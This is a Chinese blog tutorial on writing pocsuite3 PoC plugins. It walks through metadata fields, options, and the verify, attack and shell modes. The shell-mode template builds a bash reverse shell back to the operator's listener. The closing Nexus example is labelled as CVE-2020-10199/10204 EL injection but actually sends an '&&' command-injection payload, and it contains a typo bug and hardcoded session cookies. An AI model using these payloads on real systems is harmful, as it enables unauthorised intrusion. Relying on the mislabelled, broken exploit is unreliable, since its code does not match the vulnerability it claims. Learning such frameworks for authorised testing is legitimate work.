Live2D

pocsuite3快速上手

pocsuite3

Poc编写模板

1.编写PoC文件名

​ PoC 命名分成3个部分组成漏洞应用名—版本号—漏洞类型名称 然后把文件名称中的所有字母改成小写,所有的符号改成_

2.编写 PoC 实现类

DemoPOC,继承自PoCBase类.

from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str

  class DemoPOC(POCBase):
3.填写PoC信息字段
vulID = '1571'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1' #默认为1
    author = 'seebug' #  PoC作者的大名
    vulDate = '2014-10-16' #漏洞公开的时间,不知道就写今天
    createDate = '2014-10-16'# 编写 PoC 的日期
    updateDate = '2014-10-16'# PoC 更新的时间,默认和编写时间一样
    references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']# 漏洞地址来源,0day不用写
    name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞 PoC'# PoC 名称
    appPowerLink = 'https://www.drupal.org/'# 漏洞厂商主页地址
    appName = 'Drupal'# 漏洞应用名称
    appVersion = '7.x'# 漏洞影响版本
    vulType = 'SQL Injection'#漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        Drupal 在处理 IN 语句时,展开数组时 key 带入 SQL 语句导致 SQL 注入,
        可以添加管理员、造成信息泄露。
    ''' # 漏洞简要描述
    samples = []# 测试样列,就是用 PoC 测试成功的网站
    install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
    pocDesc = ''' poc的用法描述 '''
4._options函数-自定义字段

先导入包

from pocsuite3.api import OptString,OptDict,OptIP,OptPort,OptBool,OptInteger,OptFloat,OptItems

函数使用方法

    def _options(self):
        o = OrderedDict()
        o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)#require是否为必选项;''默认选项
        o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False)
        return o

提取自定义字段

self.get_option("username")#或
payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password"))
5._verify函数-验证模式
  def _verify(self):
        output = Output(self)
        # 验证代码
        if result: # result是返回结果
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
6._attack函数-攻击模式

攻击模式可以对目标进行 getshell,查询管理员帐号密码等操作.定义它的方法与检测模式类似

def _attack(self):
    output = Output(self)
    result = {}
    # 攻击代码

和验证模式一样,攻击成功后需要把攻击得到结果赋值给 result 变量

如果该 PoC 没有攻击模式,可以在 _attack()函数下加入一句 return self._verify() 这样你就无需再写 _attack 函数了。

7._shell函数-shell模式

pocsuite3 在 shell 模式 会默认监听6666端口, 编写对应的攻击代码,让目标执行反向连接 运行pocsuite3 系统IP的 6666端口即可得到一个shell

def _shell(self):
    cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port())
    # 攻击代码 execute cmd

shell模式下,只能运行单个PoC脚本,控制台会进入shell交互模式执行命令及输出

例子

如果你需要编写一个可以交互参数的poc文件(例如有的poc脚本需要填写登录信息,或者任意命令执行时执行任意命令),那么可以在poc文件中声明一个_options方法。一个简单的例子如下

from collections import OrderedDict

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OptString


class DemoPOC(POCBase):
    vulID = '00000'  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2019-2-26'
    createDate = '2019-2-26'
    updateDate = '2019-2-25'
    references = ['']
    name = '自定义命令参数登录例子'
    appPowerLink = 'http://www.knownsec.com/'
    appName = 'test'
    appVersion = 'test'
    vulType = VUL_TYPE.XSS
    desc = '''这个例子说明了你可以使用console模式设置一些参数或者使用命令中的'--'来设置自定义的参数'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def _options(self):
        o = OrderedDict()
        o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)
        o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False)
        return o

    def _verify(self):
        result = {}
        payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password"))
        r = requests.post(self.url, data=payload)
        if r.status_code == 200:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['VerifyInfo']['Postdata'] = payload

        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)

requests应用例子

"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""

from collections import OrderedDict

from pocsuite3.api import Output
from pocsuite3.api import POCBase
from pocsuite3.api import requests
from pocsuite3.api import OptString
from pocsuite3.api import register_poc
from pocsuite3.api import POC_CATEGORY


class DemoPOC(POCBase):
    vulID = '97809'  # ssvid
    version = '1.0'
    author = ['CTCcaozhe']
    vulDate = '2020-05-26'
    createDate = '2020-05-26'
    updateDate = '2020-05-26'
    references = ['https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2020-10204']
    name = 'Nexus Repository Manager 3 EL表达式注入漏洞(CVE-2020-10199、CVE-2020-10204)'
    appPowerLink = 'https://oss.sonatype.org/'
    appName = 'Nexus Repository Manager'
    appVersion = '3.6.2 版本到 3.14.0 版本'
    vulType = 'code-exec'
    desc = '''Nexus Repository Manager 3 是一款软件仓库,
    可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,
    存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过。
    '''
    samples = ['http://192.168.34.137:8081/']
    install_requires = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP

    def _options(self):
        o = OrderedDict()
        o["cook"] = OptString('portainer.LOGIN_STATE_UUID=eb8c2f19-87a5-4605-b4b3-18b9c11452c0; _ga=GA1.1.1996873860.1590378950; NX-ANTI-CSRF-TOKEN=0.3154237604464878; NXSESSIONID=3038ed03-c6c2-4eec-875d-2fc75e6f14ca', description='这个poc需要用户输入Cookle', require=True)
        o["token"] = OptString('0.3154237604464878', description='这个poc需要用户输入TOKEN', require=True)
        o["comm"] = OptString('ls', description='这个poc需要用户输入执行命令', require=True)
        return o

    def _verify(self):
        result = {}
        playload = 'target=192.168.1.1+%26%26+'+ self.get_option("comm")
        get_headers = {
            'Content-Length': '34',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
            'Connection':'close'
        }
        vul_url = self.url
        if vul_url.endswith('/'):
            vul_url = vul_url[:-1]

        if "http://" in vul_url:
            host = vul_url[7:]
        elif "https://" in vul_url:
            host = vul_url[8:]
        else:
            host = vul_url

        get_headers['Host'] = host

        r = requests.post(url=vul_url, data=playload, headers=get_headers)
        # print(r.cookies)
        print(r.text)
        if r.status_code == 200:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = vul_url
            result['VerifyInfo']['content'] = r.contet

        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
posted @ 2020-07-01 23:41  村口曹师傅  阅读(654)  评论(0编辑  收藏  举报